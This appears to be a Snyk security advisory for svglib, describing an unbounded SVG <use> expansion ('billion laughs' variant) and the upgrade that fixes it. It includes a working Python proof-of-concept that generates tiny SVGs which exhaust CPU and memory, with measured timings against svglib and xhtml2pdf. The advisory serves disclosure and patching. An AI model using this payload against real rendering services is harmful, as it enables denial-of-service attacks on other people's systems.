Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade svglib to version 2.3.1 or higher.
svglib is a library for reading SVG files and converting them (to a reasonable degree) to other formats using the ReportLab Open Source toolkit.
Affected versions of this package are vulnerable to Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion') via SvgRenderer.renderUse() in svg2rlg(), which expands <use> references without any limit on the total number of expansions. Only direct cycles are rejected via CircularRefError, so a reference DAG with fan-out is expanded fully: a group containing N <use> elements pointing to another such group multiplies work by N per nesting level, producing fan ** levels renders. An attacker can supply an SVG of about 1.4 KB that causes svglib to clone and render over 100,000 nodes, consuming tens of seconds of CPU time and hundreds of MiB of memory. This is the SVG <use> variant of the XML "billion laughs" attack, the same class as librsvg CVE-2019-20446.
Minimal local PoC, non-destructive:
import io, time from svglib.svglib import svg2rlgdef make(levels, fan=10): parts = ['<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="10" height="10"><defs>', '<rect id="l0" width="1" height="1"/>'] for i in range(1, levels + 1): parts.append(f'<g id="l{i}">' + f'<use xlink:href="#l{i-1}"/>' * fan + '</g>') parts.append(f'</defs><use xlink:href="#l{levels}"/></svg>') return "".join(parts).encode()
for levels in (3, 4, 5): data = make(levels) t = time.time() svg2rlg(io.BytesIO(data)) print(levels, len(data), f"{time.time() - t:.1f}s")
Result on svglib 2.3.0 (commit 5d28646), Python 3.12, macOS:
| levels | SVG size | time | peak RSS |
|---|---|---|---|
| 3 | 919 B | 0.3 s | 42 MiB |
| 4 | 1164 B | 2.9 s | 83 MiB |
| 5 | 1409 B | 34 s | 469 MiB |
svglib 1.5.1 from PyPI behaves the same (levels = 4: 2.8 s, 82 MiB).
Through xhtml2pdf 0.2.23 with the same SVG embedded as a data: URI <img>:
| levels | HTML size | time | peak RSS |
|---|---|---|---|
| 4 | 1626 B | 6.9 s | 133 MiB |
| 5 | 1954 B | 78.7 s | 499 MiB |
Note: The PoC runs against svglib 2.3.0 (commit 5d28646) and 1.5.1 on Python 3.12 on macOS, and also through xhtml2pdf 0.2.23 with the SVG embedded as a data: URI.